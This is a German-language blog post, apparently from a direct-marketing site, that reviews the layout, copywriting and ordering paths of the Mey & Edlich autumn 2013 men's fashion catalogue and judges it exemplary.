Neue Ideen für Distanzhandel & Direktmarketing

Katalogcheck Mey & Edlich, Herbst 2013

Vorweg: ich bin ein  Fan des May & Edlich Kataloges. Man merkt sofort, dahinter stecken Leute, die Ahnung vom Katalogmarketing haben. Kein Wunder: Mey & Edlich ist die „junge“ Herren-Marke von Walbusch.
Der aktuelle Herbstkatalog 2013-02 lag vor wenigen Tagen in meinem Briefkasten. Grund genug, mal einen intensiveren Blick rein zu werfen.

Titelcheck:
Typisch für Mey & Edlich ist der Titel: ein männliches Model als Hero, dieses Mal mit einer modisch geschnittenen Strick-Jacke, einer Jeans (wie wir lernen aus Japan) und Boots. Ein großer Störer weist auf das Titelprodukt und das Thema des Kataloges bzw. der Kollektion hin: „BIG IN JAPAN“ Jeans aus Kuroki Denim passend mit Seitenverweis auf Seite 2-3. Dazu das Logo mit dem Claim“ einfach gut angezogen“, Saisonhinweis „Herbst 2013-02“ und fertig ist der Titel.
Und das genau macht einen guten Titel aus. Wenige wichtige Elemente, die Interesse wecken und zum Öffnen animieren.

Interessant ist, dass die Katalogmacher direkt die Produkte vom Titel auf der U2 und Seite 3 aufgreifen und ausführlich erklären. Der Verweis auf Seite 2 und 3 erklärt sich damit, dass man den Betrachter dazu bringen möchte, den Katalog von vorne bis hinten durchzublättern und nicht mit einem Seitenverweis schon direkt in die Mitte des Kataloges schickt. Dazu passt auch das Nichtvorhandensein eines Inhaltsverzeichnisses. Der Leser soll nicht gezielt nach etwas suchen, sondern sich inspirieren lassen. Sehr gut.

Einzig fehlen mir hier Bestellwege. Zumindest ein Hinweis auf die Webseite wäre gut gewesen. Hier such der Leser danach…

Einstiegsseiten-Check:
Das bringt mich dann auch schon zu den Einstiegsseiten. Ein Klapper am Titel verlängert den Einstieg. Hier findet sich der President’s letter von Frau Schober (Geschäftsführung). Schön wäre es gewesen, Frau Schober auch in Persona zu sehen, ein Bild fehlt allerdings leider.

Inhaltlich nahezu perfekt wird der Kunde direkt angesprochen, es wird ihm die Sicherheit vermittelt, dass er gut gekleidet ist, wenn er sich die Japan Denim bestellt. Hier fängt der Verkauf der Jeans auch schon an – getreu dem Motto, die erste Zeile der Bestellkarte durch den Kunden ausfüllen lassen ist die schwerste Aufgabe, weitere Artikel folgen dann fast von alleine.
Der Leser erfährt, woran er eine echte Japan Denim erkennt und das diese Art von Hose eigentlich recht teuer ist, man es bei Mey & Edlich aber geschafft hat, den Preis unter 200 € zu halten: „…und auch wenn die Idee gigantisch ist, sind wir beim Preis wie immer einfach fair geblieben.“

Die Innenseite des Klappers wird für Servicekommunikation, Vorstellung des Teams (jetzt sogar mit Foto) und Bestellwege (Tel, Fax, Web, Mail) genutzt. Sehr gut.
Dann folgen auch schon auf U2 die Strick-Jacke, die Boots und die Japan Jeans vom Titel. Dynamisch fotografiert, auch ohne Model und mit einen sehr guten Textstruktur, die sich wie ein roter Faden durch den Katalog zieht. In vielen Fällen eine ungewöhnliche Headline – oder wer weiß was eine „Dr. No Jacket“ (Seite 16) oder eine „Alles außer Blau Jeans“ (Seite 19) ist –mit 3 Quickreadern der wichtigsten Vorteile/Nutzen als Subheadline. Beschreibender Text, ebenfalls mit Vorteilen, Bestellnummer und einem großen Preis. Fertig.

Der Lesbarkeit des Textes hätten ein paar Absätze gut getan, aber den Kompromiss muss man aus Platzgründen eingehen. Immerhin gibt es Produkttext, der verkauft. Gut so. Das fehlt in vielen Modekatalogen leider.

Produktseiten-Check:
Die Produktseiten sind in der Abfolge so aufgebaut, dass ein Hauptprodukt als Hero eine Doppelseite (Funktion als Stopperseite) zur Einstimmung auf die folgenden Seiten erhält. Die Folgeseiten zeigen dann immer wieder verschiedenen Styles mit dem Hauptprodukt in Kombination mit passenden Kleidungsstücken.

Sinn und Zweck? Sicherheit geben! „Lieber Leser mit diesen Styles bist Du immer gut angezogen. Das passt zusammen.“ Das ist die Kernbotschaft. Und es funktioniert sehr gut. Außerdem zahlt es auf einen der wichtigen Gründe ein, warum Menschen aus Katalogen kaufen: Sicherheit zu geben nicht als modischer Idiot durch die Welt zu  rennen sondern mit einem abgestimmten zeitgemäßen Outfit. 
Die Doppelseiten sind als Einheit aufgebaut. Ein Model als Hero trägt das komplette Outfit, das dann einzeln präsentiert und vorgestellt wird. Produktausrichtung, Blickführung, Fußzeile mit Bestellwegen – an alles wurde gedacht. Sehr gut. Vorbildlich.

Einzig und allein die Produkt-Bild Zuordnung kann in Teilen optimiert werden. So kann es verwirren, dass auf Seite 24 ein Bild eines Schals direkt über einem Text mit der Headline „240g Daunenweste“ steht. Beim Lesefluss gilt: Oben Bild, unten Text oder links Bild, rechts Text bzw. es gilt die Regel: Was zusammen steht wird als zusammengehörig empfunden.

Abschluss-Seiten-Check:
Gut sind auch die Abschluss-Seiten. Was ist hier wichtig? Mitbestell-Artikel anbieten (Pullover in einem spannenden Preissegment für 69 € und T-Shirts im Doppelpack für 29 €) sowie wichtige Informationen zum Bestellvorgang geben. Insbesondere bei Modekatalogen wichtig: Größentabellen, um Retouren zu reduzieren. All das findet sich auf den letzten Seiten.
Die Frage „Wie bestelle ich?“ wird beantwortet, es ist sogar eine Bestellkarte mit Perforation integriert. Ein Zeichen für den Leser, dass Mey & Edlich eine Reaktion erwartet. Ein Tipp: Einen Order-Starter einfügen, vielleicht sogar die T-Shirts oder den Pullover. Gut: Die Freundschaftswerbung wurde nicht vergessen.

Rücktitel-Check:

Hier vollendet sich die gute Aufmachung. Drei Produkte werden direkt bestellbar von einem Model präsentiert gezeigt.  Das Preisniveau ist nicht abschreckend und typisch für den Katalog.
Logo und Bestellweg wurde nicht vergessen. Top.

Fazit
Ganz einfach: Vorbildlich. Meinen Glückwunsch an die Macher des Kataloges. Es macht immer wieder Spaß reinzuschauen, zu lesen und zu bestellen.

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